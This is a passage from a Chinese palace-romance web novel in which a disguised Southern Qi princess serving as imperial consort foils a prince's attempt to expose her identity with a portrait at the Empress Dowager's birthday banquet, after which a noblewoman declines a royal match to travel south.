这一晚不知熬了多久,伤心与困倦之下,明熙终于勉强合上了眼,却不料又在梦中见到了哥哥。 与从前不同的是,哥哥这次是鲜活的,还换上了一身轻柔的白衣,面色看起来很是安然。 “阿真,” 哥哥笑着问她,“都已经长大的人,怎么还跟小时一样任性?” 明熙却忍不住断线的眼泪,扑到哥哥怀中哭道,“是我没用,害你的仇人没能找到,阿霁也还在益都,不知安危……” 哥哥却轻轻抚着她的头,笑道,“一人有一人的命,一国也有一国的命,不要勉强自己做能力以外的事,顾好自己才是最要紧的。” …… 明熙是哭着醒来的。 梦的最后,哥哥与她道别,往一片云雾中走去,任她怎么哭喊,也不再回头。 睁开眼,枕头已经被泪水打湿。 她擦了擦腮边的泪珠,门外的凌霜及赵怀听见动静,又赶紧进来查看。 见她安然无恙,二人这才放了放心,见她要起床,便赶紧招呼人手伺候她梳洗。 外界并不知昨夜的延福宫的风雨,待用过早膳,依然有太常寺的官员前来向她禀报太后寿宴之事。 明熙看过一遍,见未有什么错处,便叫人退下。 哪知没过多久,却见胡尚宫又来到了殿中。 “启禀贵妃,关于此次太后娘娘的寿辰,奴婢有要事想禀报。” 胡尚宫面色谨慎,瞧了瞧左右,欲言又止。 明熙心领神会,先将闲杂人等挥退,道,“尚宫有何要事,但说无妨。” 这才见胡尚宫又道,“启禀娘娘,今早太常寺已经备好了在太后寿宴上用的祝寿图,奴婢瞧了一眼,画的乃是麻姑献寿。本也没什么,然而画上的麻姑,像极了娘娘。” 什么? 明熙一愣。 第45章 她是南齐长公主,魏明熙…… 众所周知,那贺寿图本是要在太后寿辰时展出,以示祥瑞之意。 而明熙今早才看过太常寺拟好的宾客名录,无论是前朝的文武大臣,还是这北周有名的世家侯爵,都在受邀之列,待到太后寿辰之际,少说也有数百人到场。 届时,那贺寿图一旦在众人面前展开,但见那画上的寿仙竟然像她,众人不知会作何感想。 尤其,太后对她这个贵妃一直心存芥蒂,唯恐萧元彻太过宠她,令她的权势太大。 到时见到此画,必定会对她的芥蒂更加加深一层。 所以,听到胡尚宫此话的瞬间,明熙便立时意识到了不对,立时问道,“不知那贺寿图眼下在何处?太后娘娘可已经看过了?” 就见胡尚宫道,“请娘娘放心,那图昨日才完工,今早才送去内府局的库房中以备五日后展出,奴婢也是今早去内府局查验库存时刚好瞧见的,太后娘娘眼下尚未得见。” 原来如此。 太后尚未瞧见就还有转机。 明熙颔了颔首道,“有劳尚宫告知,不知可否带本宫亲自去瞧一瞧?” 胡尚宫垂首道,“但凭娘娘差遣。” 明熙便立时起身,跟着胡尚宫一道去了内府局的库房。 待亲眼瞧见那画上的寿仙麻姑之时,不止她自己,一同跟来的凌霜及赵怀也颇为惊讶。 那画中寿仙的面容,已经不能用与她相像来形容,而是与她一模一样。 见此情景,凌霜不由皱眉道,“不知是谁画的这画,难道曾见过娘娘不成?” 胡尚宫道,“那画师是太常寺中人,平素在宫外上值,照理来说,应是没见过娘娘的,或许是临摹了娘娘的画像。” 画像? 赵怀却道,“娘娘自入延福宫以来,并未有过什么画像。” 胡尚宫想了想道,“娘娘当初入宫之际,当地县衙应是给娘娘画过的,每年新进的宫人们入宫之后,他们的画像便存于宫中司籍处。或许是有人将娘娘的画像偷出做下此事?” ——大周宫规严苛,为防止出现差错,每个入宫的宫人自被遴选之初便会画上一副画像,再在入宫后交于司籍处保管。 正常来说,的确存在这种可能。 但明熙却晓得,事情大抵没有这么简单。 方才见到这幅画的第一眼,她就有些熟悉之感。 若她没有猜错,那画师的运笔与着墨,应都是临摹了一位她认识的故人。 南齐有名的才子,顾秋长。 此人满腹才学,曾高中探花,除过诗词文藻,在画画上亦颇有造诣,很得南齐士族的追捧。 此外,其还是建业四大世家之一顾家的公子,与她的嫂子谢燕蘅还是表姐弟。 但这北周的画师,怎么会去临摹顾秋长的画法? 难不成,那顾秋长曾经画过她的画像? …… 默默掩下心间的惊涛,明熙对胡尚宫道,“大抵是如此,此事事关重大,若尚宫得空,这几日可替本宫去司籍处查一查那画像之事。今日之事,暂且不必惊动旁人。” 胡尚宫应是,“娘娘放心,奴婢心间有数。” 明熙颔了颔首,暂且将那幅画物归原位,领着凌霜与赵怀回了延福宫。 待到合上殿门,她这才对二人道,“若我猜得没错,萧元任应是与顾秋长有所联络,且极有可能,已经把他带到了上京。” 建业才子顾秋长,与这北周的惠王? 这叫二人一顿,赵怀道,“您的意思,方才那幅画是出自顾秋长?” 明熙道,“画法及着墨都很像他,但并不是他,太常寺应该还没有胆子用敌国世家公子的画来敬献太后。但那幅画所临摹的原画,必定是出自他的手笔。” 闻言,赵怀恍然道,“如此说来,是那顾秋长实现画过您的画像,而那惠王早就看过,才一直对您的身世有所怀疑。眼下这贺寿图之事,必定又是出自那惠王的手笔……他这是想趁太后寿辰之际,将您的身世公之于众,以此再陷周帝于不利?” “既然如此,那方才应该将那幅画毁了才是!”凌霜赶忙道。 明熙却道,“毁了这幅还有那幅,只要那顾秋长在,这危机就消除不了。” 凌霜气得攥紧了拳头,“这个顾秋长明明是南齐的人,为何又要与那惠王勾结陷公主于不利?不如赶紧通知凌雪,叫他们在宫外寻找此人,一旦找到,立刻铲除!” “想必不会那么容易。” 明熙道,“凌雪他们毕竟人手有限,萧元任既然打定主意要做此事,定然也会将顾秋长看好。” 这…… 凌霜不由皱眉道,“难不成我们就如此束手就擒?实在不成杀出一条血路,护送您回益都。” “此乃下下之策,何须如此?” 赵怀忙道,“其实周帝也有他的难处,当初他虽侥幸逃回上京,但 前有那个偏心的父皇,受宠的庶兄,好不容易登基,后头还有这个不安分的弟弟,这么多年,依然想尽办法生事,他也需小心翼翼……” 直性子的凌霜听得一头雾水,不由打断道,“不是在说顾秋长吗,你又提起周帝做什么?你到底想说什么?” 明熙道,“他想说,此时不如去禀报萧元彻,叫他去找人。” “公主英明。” 赵怀忙道,“此事不只关乎您与许家的安危,于他也是极为要紧的,眼下外敌当前,您合该与周帝联手共同应对才是,否则若让小人得胜,岂不得不偿失?” “有道理。” 不等明熙说话,凌霜忍不住点头道,“反正他们人多,找个顾秋长应是绰绰有余的。” “说的就是啊!” 赵怀赶紧点头,同凌霜一道看向明熙。 却见明熙挑眉瞧他,“左右就算我不去说,你也会去说的。” 这叫赵怀一噎,“呃,奴才还不都是为了您。” “你就替我走一趟吧。” 明熙又道,“但只说这一件,不许提其他的。” “奴才遵命。” 赵怀应是,赶紧去了乾明宫。 明熙又同凌霜道,“萧元任既然要做这么大一件事,必定会想尽一切手段,叫人去许家送个信,此人未准还会做出什么卑劣之事,这几日务必小心提防,。” 凌霜忙应是。 顿了顿,却又道,“其实赵怀的话也不无道理,周帝也算情深之人,今早奴婢去御膳房的时候听乾明宫的人说,他昨夜回去后,批了一整夜的折子,连睡都没睡。” 话音才落,却见明熙又挑眉瞧她,“连你也被他收买了?” 凌霜,“……奴婢该死,奴婢这就找人去许家。” 说着便也出了正殿。 留下明熙鼻间轻哼一声。 ——他只是一夜未睡,当年她曾在山中又曾熬过多少个无眠的夜晚? 她吃过的那些苦头,他总该也都尝尝才是。 …… 转眼便到了五日后太后的寿辰。 今日的重要,并不亚于此前的浴佛节,明熙特意早起梳洗打扮一番,简单用罢早膳,便来到寿安宫向太后请安。 几位太妃都已经到来,明熙与几人说过话,前来祝寿的宗亲已经陆续到来。 纪王府离宫中最近,因而纪王妃也是的头一个到的,待其向太后问过安后,便见太后关问道,“不知纪王这些日子可好些了?” 却见纪王妃道,“有劳太后惦念,自打那日陛下命人清了府中的酒,又叫人在旁看护,王爷已经好多了,如今头脑清醒,不再动不动就胡言乱语说些醉话,还时常在府中遛弯活动,眼看着肚子都小多了。太后前去诊治过,说身体可比年前强得多,如此下去,再多活十年也不成问题。” 这倒叫人有些意外,太后颔了颔首道,“如此总算不辜负陛下苦心,先帝在天之灵也该欣慰了。” 纪王妃也忙道,“这都要多谢陛下隆恩浩荡!” 话音落下,却见门外传来宫人禀报,道是安平王妃与常山王妃求见。 这二位都是萧元彻的堂婶,平素随夫君远在封地,如今是特意入京来向太后贺寿的。 太后也自是赶紧叫人请了进来。 须臾,就见两位衣着华贵的中年妇人迈进了殿中,虽则都是同样得装扮,但明熙一眼就认出了其中的安平王妃。 只因安平王妃的相貌与其女萧慧音,也就是哥哥的萧妃十分相似。 说起来,安平王妃与常山王妃年级相仿,然安平王妃的面容却要明显憔悴得多,不知是否因思念女儿导致。 此时二人进到殿中,先向太后行礼问安,又向明熙见了礼。 太后又与二人闲聊了几句,就见宫人又来禀报,道是永安公夫人及女儿温舒月到了。 须知今日的寿宴摆在柔仪殿,除过几位亲近的宗亲,其余多数的大臣及家眷都在柔仪殿中等着为太后贺寿,而永安公母女能到寿安宫中问安,毫无意外的彰显出太后对温家的看重。 就连安平王妃及常山王妃这两位常年在外的宗亲也已经看出玄机,待到温家母女行过礼后,无不夸赞温舒月的品貌。 “常听说永安公府底蕴深厚,今日得见,果然不一般,温姑娘真是一等一的品貌。” 常山王妃忙在旁夸道。 安平王妃也附和道,“听闻温姑娘甚有才名,能教养出这样好的女儿,真是令人艳羡。” 话音落下,太后呵呵笑道,“舒月与玉容给哀家做了一本群芳谱,无论画工还是字迹,皆都十分精致,等会儿就叫你们都过过目。” 话音落下,立时又引来众王妃对温舒月的一阵夸奖。 温舒月向众人道过谢,却开口道,“芳谱之事,还需多谢贵妃相助,除此之外,小女还有一事要多谢贵妃。小女先前识人不明,险些遭了暗算,多亏有贵妃提醒才叫小女避免了祸事,贵妃如若再生父母,还请受小女一拜。” 说着便朝明熙行起了大礼。 这倒叫明熙十分意外。 她上回特意单独叫温舒月叫出后才告知那萤石之事,就是怕一旦叫外人知道,恐会影响温家的名声。 没想到如今太后及几位王妃都在的情形下,温舒月居然自己说了出来? 而随着温舒月话音落下,就见其母永安宫夫人立时一脸紧张起来。 很显然,并不知其女此时会如此。 但不知实情的太后及其他人已经好奇起来,纷纷看向明熙。 “贵妃这是做了什么好事?哀家竟然一点也没听说?” 却听太后问道。 明熙回神,忙轻描淡写道,“上回温姑娘不小心被商人蒙骗,买到了一件对身体有害的首饰,臣妾见后不过提醒了一句,只是举手之劳,是温姑娘太客气了。” 说着,便叫凌霜将温舒月扶了起来。 见此情景,永安宫夫人也松了口气,向她投来感激的目光。 太后看在眼中,却不由思虑了起来。 首饰? 她记得上回舒月的确戴了只发簪,当时说的是家中亲眷送的。 难道…… 正欲深想,却见胡尚宫来到殿中道,“柔仪殿寿宴已经备好,陛下率群臣在殿中恭迎太后。” 太后只得敛起思绪,颔首应好,而后起身,在众人的簇拥下去往柔仪殿。 等到了地方,果然就见一身龙袍的萧元彻正率领群臣在等候。 眼见太后来到殿中,众人立时行礼,并齐声道,“恭迎太后,祝太后娘娘千岁万福!” 太后笑着允众人平身。 萧元彻率领众人站直身子,而后又亲自扶着太后在主座上坐好。 而后,却又悄悄朝一旁的明熙投去目光—— 自那夜被他赶走,已是一连五日没能见她。 但见她双颊消瘦了些,想来是这些日子没能睡好吃好? 他在心间不由叹了口气,早知如此,还不如不叫她想起来…… 又不知今日过后,她的气可会小一些? …… 正一片杂乱的想着,却见众人都已入了坐,有礼官上前对太后行礼道,“太常寺敬献麻姑贺寿图,恭祝太后娘娘福寿无疆。” 语罢,便有官员将一副卷轴缓缓打开。 众人随太后一道望去,但见画中乃是一片琼林仙境,仙袂飘飘的寿仙麻姑正捧着一碟仙桃向众人微笑。 其画工精美,着色浓郁,尤其是将那寿仙麻姑画的栩栩如生,直叫人眼前一亮。 一时间众人无不赞叹。 然就在一片赞叹声中,却听有妇人开口道,“咦,这寿仙怎么与贵妃娘娘如此神似?” 这话一出,众人忍不住都看向上座的明熙,而后都纷纷附和起来—— “何止是神似,简直是一模一样啊!” “贵妃犹如天仙下凡,可与寿仙媲美!” “这画,莫非是照着娘娘画的不成?” …… 此时,众人大抵只想拍拍明熙的马屁,却并未意识到,今日的寿星太后,已经疑心四起。 只见太后看向明熙道,“这是怎么回事?太常 寺的画师,怎么把贵妃给画上去了?” 声音里已经明显带了不高兴的意味,只见正大拍马屁的众人不得不纷纷停住话语。 一时间,大殿中鸦雀无声。 一切正在预料之中,明熙只垂首道,“请太后明鉴,臣妾今日也是第一次见此画,事先并不知情,不知为何会如此。” 话音落下,却听不远处的小公主萧玉容嘀咕道,“又不是贵妃叫人画的,此事不是应该问作画的画师吗?” 便见上座的君王颔首道,“不错,做此画的画师何在?” 话音落下,便见太常卿领着一年轻男子上前道,“启禀陛下,画师在此。” 萧元彻便问那画师道,“为何要将寿仙画得如同贵妃一样?是否有人指使?” 却见那画师忙道,“请陛下明鉴,草民先前从未得见贵妃真容,并非有意将寿仙画成贵妃的模样,只是在作画时毫无灵光,只好参考了一幅旧画。” 哦? 这话一出,太后忙又问道,“是什么样的旧画?难不成那画中人也如贵妃一样?” 画师不敢多言,只得忙将那幅画拿了出来。 随着宫人将烫金的画轴缓缓打开,众人只见画中出现了一位装扮华贵的明媚少女,正坐在一处奢华的庭院中,拨弄箜篌。 明熙抬目望去,脑中已经浮现画中的情景—— 那是她十七岁那年,逢父皇寿辰之际,她为父皇献曲贺寿。 而不出她所料,这幅画才是出自顾秋长之手。 只是不知,这人是此人何时所作…… 而就在她思忖之际,人群中已经纷纷惊呼起来—— “同方才那副相较,这副画上的美人才更像贵妃!” “是啊,这眉目间的神采,简直与贵妃一模一样。” …… 的确,连明熙也不得不承认,顾秋长画得十分传神,就如同当年情景再现一般。 只是这幅画显然已经有些年岁,此时的她与画中人相较,明显多了风韵。 只是如此一来,太后却愈发不解道,“这幅画看起来已经有些时候了,却不知又是谁画的?画中人又是谁?” 却见那画师道,“请太后娘娘恕罪,小的是在城中一画舍中寻到的此画,并不知这画出自何处。” 不知出自何处? 事情似乎陷入了僵局。 正在此时,却听人群中有一身材壮硕的武将道,“看这幅画的场景,似乎是在建业那南齐的故宫之中。” 南齐故宫? 这话一出,众人都陷入了震惊之中。 而正在此时,却听又有人开口道,“请母后恕儿臣多言,儿臣曾在年初南下时见过此画,当时听人说,画中女子乃是那南齐的长公主,魏明熙。” 明熙抬目看去,见说话的不是别人,正是惠王萧元任。 很好,等了这么久,终于等到这狗贼开口了。 第46章 丧心病狂 而此时,听萧元任这样说,殿中众人却无不陷入震惊之中—— 什么?这画中之人竟是南齐长公主? 那,那那,却又为何与贵妃如此相像? 难不成,其中有什么隐情…… 一时间,众人纷纷看向了明熙,在心间纷纷猜测起来。 太后的心间亦是疑惑再起—— 方才南征归来的威远将军说那画中的布景是南齐故宫…… 此时惠王又说,画中人乃南齐长公主…… 她一直就觉得,这许念贞气质不俗,长得又不像许家人…… 难道,果真…… 正在暗忖间,却听人群中也传来轻语—— “这世上果真会有如此相像的人么?” “早就觉得贵妃与县侯夫妇并不像,该不会真的有什么隐情吧?” “怪道一下就封上了贵妃,这若是公主出身,就说得通了……” “别忘了南齐可是咱们的死敌,陛下又在建业待过,若贵妃果真是那南齐长公主,陛下岂会认不出来?” …… 各种猜测齐齐涌入太后的耳中,直叫其心间疑惑越来越盛。 哪知就在此时,却见温舒月起身上前道,“请陛下太后恕小女多言,其实画是可以做旧的,无论是至于烟熏的室内,或是用赭石,藤黄等颜料兑水之后描涂,不用一日,纵使才完工的画作也可呈现出泛黄的景象,未准是有人故意用此方法将这副画做成这样,来扰乱人心,生出事端。” 这样吗? 就算旁人的话不可信,舒月这孩子总是不会说谎的。太后想了想,又看向明熙道,“贵妃近来可是叫人画过画像?” 明熙道,“请太后明鉴,臣妾只在入宫前曾在洛州县衙由画师描过像,后来那画像应是交由司籍处存放,除此之外,臣妾并未再画过什么画像。” 话音落下,却见静太妃道,“莫非有人从司籍处拿走了贵妃的画像作出此画,再以此生事?” 倒也不能排除这个可能。 太后便对身旁的碧书道,“去司籍处找找,看看贵妃当初的画像可还在?” 碧书应是,立时去了司籍处,一阵以后又返回禀报道,“启禀太后,司籍处的人说前几天存放画像的木柜受潮,其中画像皆已经被毁,已经无法确认贵妃的画像是否还在其中了。” 什么? 这话一出,众人不由又纷纷议论起来。 先是画像被毁,接着就生出这样的风波,这一切,会是巧合吗? 却听静太妃又道,“莫不是有心之人先是偷走贵妃的画像,再叫人作出此画,以扰乱人心?” 小公主萧玉容也敢忙点头道,“一定是这样的,贵妃对我们这么好,怎么可能是敌国奸细?” 这话说得明熙都有些不好意思了。 当然,她虽是敌国奸细,也的确人很好。 然眼看众人纷纷为她说话,却叫那后贼萧元任有些坐不住了,再度开口道,“这画并非做旧,否则怎么会连南国宫殿景象都画了出来?” 温舒月却又道,“惠王殿下有所不知,其实自打南齐皇室南逃,建业战乱以来,应是有不少平民百姓都曾进过那南齐的故宫,小女就曾在上京的许多家画店之中看到过类似布景的画作,多以宫廷侍女,及花鸟鱼虫为主,故而这样的布景,并不为奇。” 话音落下,却见先前那位说话的威远将军也再度佐证道,“这话倒也没错,当初我们到达建业之时,那南齐故宫早已宫门大开,内里一片凌乱,不知被洗劫过多少次了,我等奉陛下之命,光是收拾修缮,就用了足足月余,其中的布景,早已不足为奇了。” 闻言众人纷纷颔首,对温舒月所言越发相信,明熙却忍不住心间骤疼。 她曾想过,自他们离开建业,宫中必会遭遇不幸,但今日听人如此用言语描述,才知自己从小长大的地方究竟遭遇了什么…… 母后,父皇,兄长,还有宫中的那些曾陪伴她多年的草木生灵……都彻底烟消云散了。 她努力忍了又忍,才没叫眼圈泛红,露出异样。 然眼前的殿中,眼见随着温舒月与威远将军话音落下,众人愈发怀疑那副画的真实性,那狗贼萧元任却愈发着急,再度开口道,“诸位还是不要被假象所蒙蔽,本王南下时曾结交过一位建业的才子,恰巧正是此画的作者,正逢前些日子他来上京投奔了本王,眼下不妨叫他来说说,这画究竟何时所作?那画中人,究竟是不是南齐长公主。” 说着他便立时拍手,就见殿中又进来了一人。 约莫二十四五岁的年纪,一身灰色深衣,五官本是与北周男子不同的清秀,只是眉目间却满是沧桑。 待来到近前,便顿足向上座的太后萧元彻,及明熙施了一个南人的礼,道,“建业顾秋长参见陛下,参见太后,参见贵妃娘娘。” 明熙垂目看去,忍不住在心间唏嘘。 曾经闻名南齐的才子,建业城中无数女子的梦中情郎,顾家三郎顾秋长,如今竟沦落为这般模样。 “这画可是你 作的?” 太后率先发问道。 就见顾秋长应了声是。 太后又问道,“那这幅画是何时所作?画中人是否就在殿中?” 却见顾秋长道,“此画乃是草民前几日新作,草民并不知,画中人是否在殿中。” 这话一出,就见萧元任一愣,“你……” 一个“你”字才出,却被上座君王的声音压了下去—— “你又是因何而做此画?是否有人指使?” 便见那顾秋长道,“回陛下,今年初,草民在临江遇见惠王,惠王得知臣会作画,就将草民带来上京,安置在惠王府的别院中,前些日子,惠王又拿了张画像给草民,叫草民做出此画。” “顾秋长,你简直一派胡言!” 萧元任急的又要说话,萧元彻却又冷声问他,“事到如今,你还有什么话要说?是你偷了司籍处贵妃的画像,叫此人做出此画,再设计叫太常寺画师来临摹,再在今日展示给众人。 若非太后及群臣心如明镜,莫不是就要被你给朕扣上通敌的罪名?” “你母妃害人在先,朕念及与你手足之情,并未对你计较,就连你南下违规敛财之事,也准备从宽处置,没想到你竟因此恨上了朕及贵妃,使出百般手段妄图蛊惑人心。如此下去,朝中还不知要被你搅成如何?” 话音落下,立时有大臣附和道,“陛下所言极是!今日乃是太后娘娘的寿辰,惠王此时生事,既不忠又不孝,简直罪不可恕!” “惠王私自将南国世家之子带回上京,密谋此事,却要反诬贵妃娘娘的身世,如此手段,简直太过可耻!” “是啊,作为淑太妃之子,不替母思过也就罢了,居然做出如此歹毒之事,简直匪夷所思,料想先帝在天之灵,也无法容忍!” …… 眼见殿中陡然形势逆转,还被众人群起攻之,萧元任再也忍不住,指着众人怒骂道,“你们这帮蠢货,怎么能仅凭顾秋长一言就被这昏君蒙蔽?” “此女根本不是什么花农的女儿许念贞,分明就是南齐长公主!真正的许念贞早已经死了!她的尸骨就埋在洛州的许家的祖坟中……” “请惠王殿下慎言!” 就在萧元任声嘶力竭之际,明熙只见,许家父亲忽然上前跪在了萧元彻面前道,“微臣着实不知惠王殿下为何要如此歪曲贵妃娘娘的身世,就在昨日,微臣才收到家乡急信,说是有人深夜潜入我许家祖坟妄图破坏,幸而被族人发现才未能得逞,微臣原以为是贼子,如今看来,莫非是惠王殿下派去的人?” “请陛下太后明鉴,微臣虽则出身寒微,但自认祖宗世代清清白白,并无做过任何伤天害理之事,实在不该遭受如此无妄之灾啊!还请陛下为微臣做主!!!” 什么? 这话一出,众人无不面露惊骇,惠王居然派了人要去刨了许家的祖坟?这哪里是人能干的事!!! “简直丧心病狂,非人所为。” 立时又有官员出来道,“惠王为了搅乱朝政,竟然如此无所不用其极,简直骇人听闻!还请陛下严惩,务必还贵妃及平阴县侯一家公道。” “是啊,此举简直太过分,还请陛下务必严惩,还贵妃及平阴县侯公道。” “请陛下严惩!” 眼看越来越多的人站出谴责,叫这场寿宴已然变成了公堂,被千夫所指的萧元任再度气急怒骂道,“你们这群傻子,被他耍得团团转!他色令智昏,只顾着与这南齐妖女谈情说爱,早已忘了祖宗大业跟自己当年在建业为质子的屈辱!若不是为了此女,他为何久久不令大军南下?有朝一日,他连国仇也会抛下,将建业双手奉还……” “还不快住口!” 太后再也忍不住,对一旁的侍卫发话道,“还不快将此人拉下去!岂能容忍其如此污蔑君王?” 立时有侍卫应是,将萧元任从殿中押走。 大臣们也纷纷对萧元彻歌功颂德—— “自陛下登基至今,我大周风调雨顺,四海升平,百姓们无不赞颂陛下英明,惠王仅凭此卑劣招数,妄图撼动民心,简直痴心妄想。” “是啊,如今江南战乱平息,百姓们也早已归顺我大周,这都是陛下君恩浩荡,民心所向!” 那位威远将军也道,“是啊,想我大军本次换防归京之时,沿途百姓无不相送,更不乏向我们的兵士们赠送粮食瓜果的,分明与我大周百姓无异!如此境况,就算陛下有意归还,那南齐皇室可还能留住民心?” 话到此处,却见君王立时开口道,“惠王鬼迷心窍,险些酿造大祸,此事就交由宗正,都察院及刑部处理,务必查清事实,还贵妃及平阴县侯一家公道。” 语罢又同太后道,“今日本是母后的大日子,没想到竟出了这等扫兴之事,这都是朕这个兄长对惠王管教不严所致,还请母后降罪。” 太后则道,“惠王贪心不足生出今日之事,与陛下本无关,陛下无需自责。自陛下登基至今,海清河晏,民心稳固,方才在那等谣言面前,更是君臣一心,令哀家甚是欣慰。” 说着又吩咐礼官道,“方才耽误了功夫,宾客们也都饿了,快些上菜吧。” ——虚惊一场,无事便好。 只是她原本打算要趁众人贺寿之际,向永安公府下聘,眼下倒是不适合说了。 只能等会儿再找时机了。 …… 第47章 陛下心中只有娘娘 随着众宾客入座,宫人们将美味佳肴一一呈上,寿宴总算开始了。 殿中乐舞纷呈,宴间觥筹交错,终于叫气氛渐渐热络起来。 太后心间牵挂着要事,一面应和着向她敬酒的宾客,一面寻找合适时机,好将立后之事摆到萧元彻面前。 眼看一阵乐舞之后,宴间稍稍安静下来,却见温舒月捧着一副卷轴来到她面前道,“这些日子小女承蒙太后厚爱,心间感激不尽,趁今日娘娘寿辰,特奉上一幅小女亲手绘制的江山行旅图。” 这叫太后惊喜起来,“你不是已经同玉容做了群芳谱献给哀家,怎的又给哀家准备了画?” “江山无限,就如同娘娘福寿无疆,” 却见温舒月又垂首道,“小女并无其他专长,仅仅一幅画,无法回报娘娘对小女的照拂。” “难为你有此心意。” 太后颔首,便叫近前的碧书与琴韵将画接下,并叫众人一同欣赏。 随着画轴缓缓展开,只见一副壮阔的山水画景出现在了众人眼前,平麓云林,烟波浩渺,雄伟深远,浑然不似常人之作。 立时有大臣赞叹道,“画思入神,这山水云峰,非常人者所能及也。姑娘真是好功底!” “是啊,单看这画工,俨然大成之作,若是不说,谁能想到是年纪轻轻的姑娘所做。” “温姑娘真乃大才!着实令我等汗颜!” …… 夸赞声不断涌来,直叫方才那因惠王生出的风波荡然无存,也令太后心间愈发满意—— 这不正是立后的好时机? 遂又对温舒月道,“你也没有辜负哀家的信任,方才为贵妃仗义执言,也令哀家甚是欣慰。” 说着便要对萧元彻开口。 哪知正却见温舒月又向她行礼道,“小女还想向您求个恩典。” 哦? 这叫太后愣了愣,便颔首道,“有什么想求的,直说便是。” 只见那姑娘道,“小女素来向往天下大好河山,无奈一直困与深宅不得往之,如今天下太平,也终于下定决心,打算南下临江,一路领略江南美景,接下来的时日,只怕不能常来探望太后,还望娘娘见谅。” 什么? 这话一出,不只太后,满殿众人都惊讶起来。 明熙也十分意外, 她一直以为,温舒月是这北周高门贵女的楷模,会如其他人一样平稳的嫁入世家高门做当家主母,尤其她还是太后一心看中的皇后人选,怎的如今竟忽然要南下? ……是因为她吗? 是因为她这个“贵妃”挡在宫中,所以才逼得对方要远走? 眼见席间的永安宫夫人也一脸诧异及惊慌,显然这是温舒月自己的主意,她便打算开口说些什么。 哪知太后却抢先对温舒月道,“你已到婚配年纪,就算你父母不操心,哀家也会在朝中替你寻一位如意郎君,如今却为何会有如此想法?” 温舒月又垂首道,“小女愚钝,恐辜负娘娘的信任,小女以为,婚嫁并非女子此生奋斗的终点。小女饱读诗书,不该困于内宅之中,以至于勾心斗角,扭曲面目,做出违背良心之事。小女觉得,正值大好年华,更应该去做些自己想做的事。” 什么? 这话令众人又是一惊。 要知道,这可是在规矩严苛的北周,温舒月此言,无异于一道惊雷劈在殿中,直叫方才还纷纷夸赞她的大臣们立时瞠目结舌。 其父母更是惊慌失措,永安宫及夫人连忙从各自座位上起身来到女儿身边,向太后及君王行礼道,“都是臣管教无妨,由得小女在此胡言乱语,叫贵人们见笑了,今后臣一定严加管教。还请陛下太后恕罪。” 说着永安公又赶忙向女儿温舒月道,“还不快快向陛下太后请罪?” 见此情景,不等温舒月再说什么,太后立时又问道,“舒月,你莫不是有什么苦衷? 倘若有,不必害怕,尽管告诉哀家,哀家自会给你做主,今日哀家在此,不必顾虑任何人。” 说着还瞥了一眼一旁的明熙。 明熙不是没有收到太后的眼神,但此时她的注意力全在温舒月身上,根本没有心思去理会。 却见温舒月道,“多谢太后娘娘关怀,舒月今日所言皆出自肺腑,无关他人。实则是近来家中发生了一些事,叫小女重新思虑了一番今后该走的道路,方才所言乃是小女毕生所愿,还望太后成全。” 说着又朝太后磕了一个头。 这却急坏了一旁的永安宫夫人,忙忍不住道了一声,“舒月……” 然那原本自小温顺的姑娘却忽然变成了倔驴一般,竟是丝毫面不改色,拉也拉不住。 见此情景,太后不由叹道,“便是你果真打定主意要南下,那也是你们温家的事,哀家岂能做主?” ——她又岂会不知,这丫头哪是执意要南下,而是要拒绝她的赐婚! 枉费她这些日子与温家筹备一场,谁能料到竟是这样的结局。 正在此时,却见身旁的萧元彻开口道,“温姑娘方才所言,着实令人刮目相看。试问天下有几人能有如你一般超脱世俗的勇气与胸襟?料想今日殿中大多数人都自愧不如。念你方才勇于为贵妃执言,这些日子又时常入宫陪伴太后,朕便封你广平县君,赐府邸良田食俸。 至于南下游历之事,毕竟关乎贵府,待与亲人商议后,再决定吧。” 什么?赐封温舒月县君? 要知道,自本朝开国一来,只有宗室之女才能获此殊荣,对于皇室之外的人家来说,这可是无上的荣誉! 温家夫妇赶紧带着女儿一道谢恩,“叩谢陛下隆恩!” 太后看在眼中,还是想说什么,却终于没能说出口,只能目送那姑娘谢恩过后,又随父母回到了席间。 然明熙却再也坐不住,寻了更衣的机会离开殿中,又叫人将温舒月请到了面前。 “温姑娘可是因为我才要南下?我帮你,并不是想让你有愧于我,而是不忍心看一个好姑娘遭毒手而已。你着实无需如此。” 然话音落下,却见温舒月只是笑道,“既然娘娘直言,小女便也直言,小女方才的决定,的确与娘娘有关,却也并不全因娘娘。” 这叫明熙一愣,道,“这是什么意思?” 温舒月道,“的确,自打年初,小女幸得太后娘娘青睐,他们都说这大周的皇后非小女莫属,小女也曾期待过,但自打浴佛节那日,您向陛下扑去之时,小女便知道,比起娘娘,小女对陛下的感情,根本称不上爱意。倘若小女置身那时,小女只想保住自己的性命,根本不会想去保护任何人。” 这话一出,直叫明熙一噎,“那时我也……” 那时她也没想过要对萧元彻舍身相救,那全是她有意安排的呀! 然而没等她想好该如何解释,却见温舒月又道,“更何况陛下对娘娘的眼神,不会骗人,陛下心里只有娘娘,小女又何必要去抢一个本就不属于自己的人及位子?就算人生有轮回,可这辈子还有很长的时间,小女为什么要过不快乐的日子?” “所以,小女想去四处看看,看看上京以外的天地,听说江南美若天堂,小女想亲眼看看那是怎样一番美景,倘若能有幸遇见此生姻缘,那就最好不过,就算没有,小女自己也可过完一生,不为他人,只为自己而活。” 话音落下,明熙一时说不出话来。 因为温舒月的神色告诉她,这一番话皆是出自其肺腑。 原来看似端庄典范的姑娘,骨子里也竟是如此潇洒且从容。 她这一生,到底是在为自己而活,还是为别人? …… 接连出了两场“意外”,直叫太后没了过寿的心情,待到午宴过后,便起驾回了寿安宫。 众宾客纷纷告退,明熙也回了延福宫中。 熟料才换下衣装,就见赵怀一脸忐忑的进到殿中道,“娘娘,陛下驾到。” 那神色,就仿佛她会大发雷霆,要将那人赶走一般。 索性明熙正也有话要与萧元彻说,便颔了颔首,道,“请进来吧。” 赵怀松了口气,赶忙出去请人,须臾,就见萧元彻迈进了殿中。 自那夜被赶走,他已经五日未能踏足此处,此时那高大的身影乍一降临,竟叫人有些不习惯。 明熙不由别开视线。 赵怀及凌霜却急忙退了出去,还关上了殿门,叫殿中只剩了她与他两个人。 明熙能感觉到,那人的目光正落在自己身上,稍烧顿了顿后,便开口道,“阿真……” 不用想,也能猜到他要说什么,明熙索性打断道,“我有话要同你说。” 就见萧元彻立时颔首,“你说。” 明熙便道,“我不知刑部与宗正会如何给萧元任定罪,想来,大约又会念其是你手足,是你们萧家的血脉而网开一面,最多判个幽禁。但这狗贼今日分明想置我于死地,且居然要去挖许家祖坟,我可不能放过他。” 